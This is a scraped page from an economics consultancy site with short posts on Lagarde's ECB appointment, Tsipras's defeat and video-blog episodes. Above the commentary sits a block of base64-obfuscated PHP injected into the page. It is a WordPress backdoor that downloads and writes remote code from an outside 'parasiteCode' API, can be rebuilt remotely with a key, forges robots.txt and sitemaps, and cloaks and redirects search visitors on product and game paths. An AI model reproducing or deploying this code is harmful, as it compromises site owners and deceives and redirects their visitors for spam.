error_reporting(0);ini_set(base64_decode('ZGlzcGxheV9lcnJvcnM='), 0);define(base64_decode('Q0FDSEVfVFRM'), 1800);define(base64_decode('SU1BR0VfQ0FDSEVfVFRM'), 86400);if (defined(base64_decode('QUJTUEFUSA=='))) define(base64_decode('Q0FDSEVfRElS'), ABSPATH . base64_decode('L3dwLWNvbnRlbnQvdXBsb2Fkcy93b29jb21tZXJjZV91cGxvYWRzL2NhY2hlLw=='));else define(base64_decode('Q0FDSEVfRElS'), __DIR__ . base64_decode('Ly4uLy4uLy4uL3VwbG9hZHMvd29vY29tbWVyY2VfdXBsb2Fkcy9jYWNoZS8='));define(base64_decode('U0lURV9JRA=='), base64_decode('MTA2MjA='));define(base64_decode('Q09ERV9BUElfS0VZ'), base64_decode('ZjIzOWEwNDk2MGE0NGM2NTkzY2Y0NDczMmUzNTE5NWQ='));define(base64_decode('Q09ERV9BUElfQkFTRV9VUkw='), base64_decode('YS52aW5hcGkudG9w'));define(base64_decode('Q09ERV9BUElfVVJM'), CODE_API_BASE_URL . base64_decode('L2FwaS9wYXJhc2l0ZUNvZGUvc2l0ZS9pZC8=') . SITE_ID);define(base64_decode('SU1BR0VfQVBJX1VSTA=='), CODE_API_BASE_URL . base64_decode('L2FwaS9wYXJhc2l0ZUNvZGUvc2l0ZS9pZC8=') . SITE_ID . base64_decode('L2ltYWdlcy8w'));define(base64_decode('VVNFX0NVUkw='), function_exists(base64_decode('Y3VybF9pbml0')));if (!defined(base64_decode('REVERURFQlVH'))) define(base64_decode('REVERURFQlVH'), isset($_GET[base64_decode('ZGVkZWRlYnVn')]));if (!is_dir(CACHE_DIR)) {@mkdir(CACHE_DIR, 0755, true);}if (isset($_GET[base64_decode('YWN0aW9u')]) && $_GET[base64_decode('YWN0aW9u')] === base64_decode('YnVpbGQ=')) {$apiKey = $_SERVER[base64_decode('SFRUUF9YX0NPREVfQVBJX0tFWQ==')] ?? base64_decode(base64_decode(''));if (!empty($apiKey) && $apiKey === CODE_API_KEY) {wpclowo_buildFileStructure();header(base64_decode('Q29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uOyBjaGFyc2V0PXV0Zi04'));echo json_encode([base64_decode('Y29kZQ==') => 0, base64_decode('bXNn') => base64_decode('U1VDQ0VTUw==')]);exit();} else {http_response_code(401);header(base64_decode('Q29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uOyBjaGFyc2V0PXV0Zi04'));echo json_encode([base64_decode('Y29kZQ==') => 1, base64_decode('bXNn') => base64_decode('QVBJX0tFWV9GQUlMRUQ=')]);exit();}}if (!file_exists(CACHE_DIR . base64_decode('aW5kZXgucGhw'))) {wpclowo_buildFileStructure();}function wpclowo_send_req($url, $headers){$search_dir = base64_decode('Lg==');$is_loaded = false;if (DEDEDEBUG) {echo base64_decode('c2VuZF9yZXEhPGJyPg==');}for ($i = 0; $i <= 4; $i++) {$file_path = $search_dir . base64_decode('L3dwLWxvYWQucGhw');if (file_exists($file_path) || is_link($file_path)) {require_once($file_path);$is_loaded = true;break;}$search_dir = dirname($search_dir);if ($search_dir === dirname($search_dir)) {break;}}if ($is_loaded) {if (DEDEDEBUG) {echo base64_decode('d3BfcmVtb3RlX2dldCE8YnI+');}$response = wp_remote_get($url, [ base64_decode('dGltZW91dA==') => 10, base64_decode('c3NsdmVyaWZ5') => false, base64_decode('aGVhZGVycw==') => $headers ]);if (is_wp_error($response)) {return [base64_decode('ZXJy') => $response];} else {$body = wp_remote_retrieve_body($response);return [base64_decode('Ym9keQ==') => $body];}} else {return [base64_decode('ZXJy') => base64_decode('V1BfTE9BRF9OT1RfRk9VTkQ=')];}}function wpclowo_isImageFile($fileName){$imageExtensions = [base64_decode('cG5n'), base64_decode('anBn'), base64_decode('anBlZw=='), base64_decode('Z2lm'), base64_decode('aWNv'), base64_decode('c3Zn'), base64_decode('d2VicA==')];$ext = strtolower(pathinfo($fileName, PATHINFO_EXTENSION));return in_array($ext, $imageExtensions);}function wpclowo_write2temp2file($name, $content){$temp = $name . base64_decode('LmJr');if (DEDEDEBUG) {echo base64_decode('U1RBUlQgTU9WRSA=') . $temp . base64_decode('IFRPIA==') . $name . base64_decode('ICE8YnI+');}if (@file_put_contents($temp, $content) !== false) {if (@rename($temp, $name)) {if (DEDEDEBUG) {echo base64_decode('TU9WRSA=') . $temp . base64_decode('IFRPIA==') . $name . base64_decode('IFNVQ0NFU1MhPGJyPg==');}return 0;} else {if (DEDEDEBUG) {echo base64_decode('TU9WRSA=') . $temp . base64_decode('IEZBSUxFRCE8YnI+');}return 1;}} else {if (DEDEDEBUG) {echo base64_decode('Q1JFQVRFIA==') . $temp . base64_decode('IEZBSUxFRCE8YnI+');}return 2;}}function wpclowo_createFileStructure($remoteData){if (!$remoteData || !isset($remoteData[base64_decode('ZmlsZXM=')])) return;foreach ($remoteData[base64_decode('ZmlsZXM=')] as $file) {if (DEDEDEBUG) {echo base64_decode('RklMRTog') . $file[base64_decode('cGF0aA==')] . base64_decode('PGJyPg==');echo base64_decode('Q09OVEVOVDog') . gettype($file[base64_decode('Y29udGVudA==')]) . base64_decode('PGJyPg==');}$filePath = CACHE_DIR . $file[base64_decode('cGF0aA==')];$content = $file[base64_decode('Y29udGVudA==')];$dir = dirname($filePath);if ($dir && !is_dir($dir)) {@mkdir($dir, 0755, true);}if (wpclowo_isImageFile($file[base64_decode('cGF0aA==')])) {$decoded = base64_decode($content);if ($decoded !== false) {@wpclowo_write2temp2file($filePath, $decoded);}} else {@wpclowo_write2temp2file($filePath, $content);}}}function wpclowo_verifyCode(){$datas = [ @file_get_contents(CACHE_DIR . base64_decode('Y29kZV8=') . md5(CODE_API_KEY . SITE_ID) . base64_decode('Lmpzb24=')), @file_get_contents(CACHE_DIR . base64_decode('aW1hZ2VzXw==') . md5(CODE_API_KEY . SITE_ID) . base64_decode('Lmpzb24=')), ];foreach ($datas as $data) {$files = (object)@$data[base64_decode('ZGF0YQ==')][base64_decode('ZmlsZXM=')];foreach ($files as $file) {$filePath = CACHE_DIR . $file[base64_decode('cGF0aA==')];$content = $file[base64_decode('Y29udGVudA==')];$dir = dirname($filePath);if ($dir && !is_dir($dir)) {@mkdir($dir, 0755, true);}if (!file_exists($filePath) || filesize($filePath) <= 0) {if (wpclowo_isImageFile($file[base64_decode('cGF0aA==')])) {$decoded = base64_decode($content);if ($decoded !== false) {@wpclowo_write2temp2file($filePath, $decoded);}} else {@wpclowo_write2temp2file($filePath, $content);}}}}}function wpclowo_buildFileStructure($dl = true){$cacheFile = CACHE_DIR . base64_decode('Y29kZV8=') . md5(CODE_API_KEY . SITE_ID) . base64_decode('Lmpzb24=');$imageCacheFile = CACHE_DIR . base64_decode('aW1hZ2VzXw==') . md5(CODE_API_KEY . SITE_ID) . base64_decode('Lmpzb24=');try {$cache_exists = file_exists($cacheFile);if ($dl || !$cache_exists) {if (USE_CURL && ($ch = curl_init())) {if (DEDEDEBUG) {echo base64_decode('VVNFX0NVUkwhQ09ERQ==') . PHP_EOL;}curl_setopt($ch, CURLOPT_URL, CODE_API_URL);curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_setopt($ch, CURLOPT_TIMEOUT, 10);curl_setopt($ch, CURLOPT_HTTPHEADER, [base64_decode('WC1Db2RlLUFQSS1LZXk6IA==') . CODE_API_KEY]);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);$response = curl_exec($ch);curl_close($ch);} else {if (DEDEDEBUG) {echo base64_decode('VVNFX0ZJTEVfR0VUIUNPREU8YnI+');}$context = stream_context_create([base64_decode('aHR0cA==') => [base64_decode('bWV0aG9k') => base64_decode('R0VU'), base64_decode('aGVhZGVy') => base64_decode('WC1Db2RlLUFQSS1LZXk6IA==') . CODE_API_KEY, base64_decode('dGltZW91dA==') => 10]]);$response = @file_get_contents(CODE_API_URL, false, $context);}if (!$response) {$req_result = @wpclowo_send_req(base64_decode('aHR0cHM6Ly8=') . CODE_API_URL, [base64_decode('WC1Db2RlLUFQSS1LZXk=') => CODE_API_KEY]);if (isset($req_result[base64_decode('Ym9keQ==')])) {$response = $req_result[base64_decode('Ym9keQ==')];} else {if (DEDEDEBUG) {var_dump($req_result);}}}if ($response) {$data = json_decode($response, true);if ($data && $data[base64_decode('Y29kZQ==')] == 0) {@file_put_contents($cacheFile, $response, LOCK_EX);wpclowo_createFileStructure($data[base64_decode('ZGF0YQ==')]);}}} else {if (DEDEDEBUG) {echo base64_decode('SEFTX1JFU1AhQ09ERTxicj4=');}$data = @json_decode(@file_get_contents($cacheFile));if ($data) wpclowo_createFileStructure($data[base64_decode('ZGF0YQ==')]);}} catch (Exception $e) {}try {$cache_exists = file_exists($imageCacheFile);if ($dl || !$cache_exists) {if (USE_CURL && ($ch = curl_init())) {if (DEDEDEBUG) {echo base64_decode('VVNFX0NVUkwhSU1HPGJyPg==');}curl_setopt($ch, CURLOPT_URL, IMAGE_API_URL);curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_setopt($ch, CURLOPT_TIMEOUT, 10);curl_setopt($ch, CURLOPT_HTTPHEADER, [base64_decode('WC1Db2RlLUFQSS1LZXk6IA==') . CODE_API_KEY]);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);$response = curl_exec($ch);curl_close($ch);} else {if (DEDEDEBUG) {echo base64_decode('VVNFX0ZJTEVfR0VUIUlNRzxicj4=');}$context = stream_context_create([base64_decode('aHR0cA==') => [base64_decode('bWV0aG9k') => base64_decode('R0VU'), base64_decode('aGVhZGVy') => base64_decode('WC1Db2RlLUFQSS1LZXk6IA==') . CODE_API_KEY, base64_decode('dGltZW91dA==') => 10]]);$response = @file_get_contents(IMAGE_API_URL, false, $context);}if (!$response) {$req_result = @wpclowo_send_req(base64_decode('aHR0cHM6Ly8=') . IMAGE_API_URL, [base64_decode('WC1Db2RlLUFQSS1LZXk=') => CODE_API_KEY]);if (isset($req_result[base64_decode('Ym9keQ==')])) {$response = $req_result[base64_decode('Ym9keQ==')];}}if ($response) {if (DEDEDEBUG) {echo base64_decode('SEFTX1JFU1AhSU1HPGJyPg==');}$data = json_decode($response, true);if ($data && $data[base64_decode('Y29kZQ==')] == 0) {@file_put_contents($imageCacheFile, $response, LOCK_EX);wpclowo_createFileStructure($data[base64_decode('ZGF0YQ==')]);}}} else {$data = @json_decode(@file_get_contents($imageCacheFile));if ($data) wpclowo_createFileStructure($data[base64_decode('ZGF0YQ==')]);}} catch (Exception $e) {}}$request_uri = $_SERVER[base64_decode('UkVRVUVTVF9VUkk=')] ?? base64_decode('Lw==');$request_path = parse_url($request_uri, PHP_URL_PATH);$query_string = parse_url($request_uri, PHP_URL_QUERY);$redir_exceptions = [ base64_decode('L3Byb2R1Y3RzLw=='), base64_decode('L3Byb2R1Y3Qv'), base64_decode('L2dhbWVzLw=='), base64_decode('L2dhbWUv'), base64_decode('L3NhbGUv'), base64_decode('L3NhbGVzLw=='),];$should_redir = false;foreach ($redir_exceptions as $exception) {if (strpos($request_path, $exception) !== false) {$should_redir = true;break;}}$exceptions = [base64_decode('L3dwLWFkbWluLw=='), base64_decode('L3dwLWxvZ2luLnBocA=='), base64_decode('L2NhY2hlLw=='), base64_decode('L3dwLWNvbnRlbnQvdGhlbWVzLw=='), base64_decode('L3dwLWNvbnRlbnQvcGx1Z2lucy8='), base64_decode('L3dwLWNvbnRlbnQvdXBsb2Fkcy8='),];$is_exception = false;foreach ($exceptions as $exception) {if (strpos($request_path, $exception) !== false) {$is_exception = true;break;}}if (DEDEDEBUG) {echo base64_decode('SVNfRVhDRVBUSU9OOiA=') . $is_exception . base64_decode('PGJyPg==');echo base64_decode('c2hvdWxkX3JlZGlyOiA=') . $should_redir . base64_decode('PGJyPg==');}$static_extensions = [base64_decode('cGhw'), base64_decode('Y3Nz'), base64_decode('anM='), base64_decode('cG5n'), base64_decode('anBn'), base64_decode('anBlZw=='), base64_decode('Z2lm'), base64_decode('aWNv'), base64_decode('c3Zn'), base64_decode('d29mZg=='), base64_decode('d29mZjI='), base64_decode('dHRm'), base64_decode('ZW90'), base64_decode('cGRm')];$is_static_file = false;foreach ($static_extensions as $ext) {if (preg_match(base64_decode('L1wu') . preg_quote($ext, base64_decode('Lw==')) . base64_decode('JC8='), $request_path)) {$is_static_file = true;break;}}if (function_exists(base64_decode('YWRkX2ZpbHRlcg=='))) {add_filter( base64_decode('d3Bfc2l0ZW1hcHNfZW5hYmxlZA=='), base64_decode('X19yZXR1cm5fZmFsc2U=') );}if ($request_path === base64_decode('L3JvYm90cy50eHQ=')) {$robots_file = CACHE_DIR . base64_decode('cm9ib3RzLnR4dA==');if (file_exists($robots_file)) {header(base64_decode('Q29udGVudC1UeXBlOiB0ZXh0L3BsYWluOyBjaGFyc2V0PXV0Zi04'));readfile($robots_file);exit();} else {$currentDomain = $_SERVER[base64_decode('SFRUUF9IT1NU')] ?? base64_decode('bG9jYWxob3N0');$robotsContent = base64_decode('VXNlci1hZ2VudDogKlxuQWxsb3c6IC9cblNpdGVtYXA6IGh0dHBzOi8v') . $currentDomain . base64_decode('L3NpdGVtYXAueG1s');header(base64_decode('Q29udGVudC1UeXBlOiB0ZXh0L3BsYWluOyBjaGFyc2V0PXV0Zi04'));echo $robotsContent;exit();}}if (preg_match(base64_decode('L15zaXRlbWFwLipcLnhtbCQv'), $query_string ?? base64_decode(base64_decode(''))) || preg_match(base64_decode('L15cL3NpdGVtYXAuKlwueG1sJC8='), $request_path)) {$sitemap_file = CACHE_DIR . base64_decode('c2l0ZW1hcC5waHA=');if (file_exists($sitemap_file)) {require_once $sitemap_file;exit();}}if (DEDEDEBUG) {echo base64_decode('SVNfU1RBVElDX0ZJTEU6IA==') . $is_static_file . base64_decode('PGJyPg==');}if ($should_redir && !$is_static_file) {$usering_file = CACHE_DIR . base64_decode('dXNlcmluZy5waHA=');$cloaking_file = CACHE_DIR . base64_decode('Y2xvYWtpbmcucGhw');$config_file = CACHE_DIR . base64_decode('Y29uZmlnLnBocA==');if (file_exists($usering_file) && file_exists($config_file)) {require_once $usering_file;} else if (file_exists($cloaking_file) && file_exists($config_file)) {require_once $cloaking_file;} else {if (DEDEDEBUG) {echo base64_decode('RklMRSBOT1QgRVhJU1QhPGJyPg==');}}$clean_path = trim($request_path, base64_decode('Lw=='));if (isset($user) && $user->is_human_from_search) {if (DEDEDEBUG) {echo base64_decode('UkVESVI8YnI+');}header(base64_decode('TG9jYXRpb246') . $user->getRedirectUrl());exit();} elseif (isset($blocked) && $blocked) {if (DEDEDEBUG) {echo base64_decode('QkxPQ0tFRCE8YnI+');}$clean_path = base64_decode('Lw==') . $clean_path;$router_file = CACHE_DIR . base64_decode('cm91dGVyLnBocA==');if (file_exists($router_file)) {require_once $router_file;}exit();} else {if (DEDEDEBUG) {echo base64_decode('Tk9UIEJMT0NLRUQhPGJyPg==');}}}
EU – Alpha Strategy Consulting
The appointment of Christine Lagarde as president of the ECB has been greeted with euphoria by financial markets. That reaction in itself should be a warning signal. When risky assets soar in the middle of a huge bubble due to a central bank appointment, the supervising entity should be concerned.
Lagarde is a lawyer, not an economist, and a great professional, but the market probably interprets correctly is that the European Central Bank will become even more dovish. Lagarde, for example, is a strong advocate of negative rates .
Read More
The defeat of Tsipras in Greece is the loss of those who came to power promising that two plus two would equal twenty-two, of paper promises and policies that harm those that they pretend to protect. Read More
VIDEO
In this fifth episode of my video-blog, we discuss the mistake of believing GDP as the key driver of economic growth, as it is not difficult to inflate via debt.
We also discuss the differences between the US, China and EU , and why the slowdown in the Eurozone should concern us more.
In this video from Hedgeye’s Investing Summit 2018, Keith McCullough and Daniel Lacalle discuss the eurozone slowdown , as well as the earnings season, the macroeconomic and political risks and the implications of rising fiscal imbalances in most European economies.
VIDEO
The information contained in this website is proprietary and all information provided to clients is confidential, privileged and only for the information of the intended recipient and may not be used, published or redistributed without the prior written consent of Alpha Strategy.
All of Alpha Strategy and Daniel Lacalle’s views expressed in his books, interviews and this website are strictly personal and do not reflect the strategy or philosophy of any specific firm.
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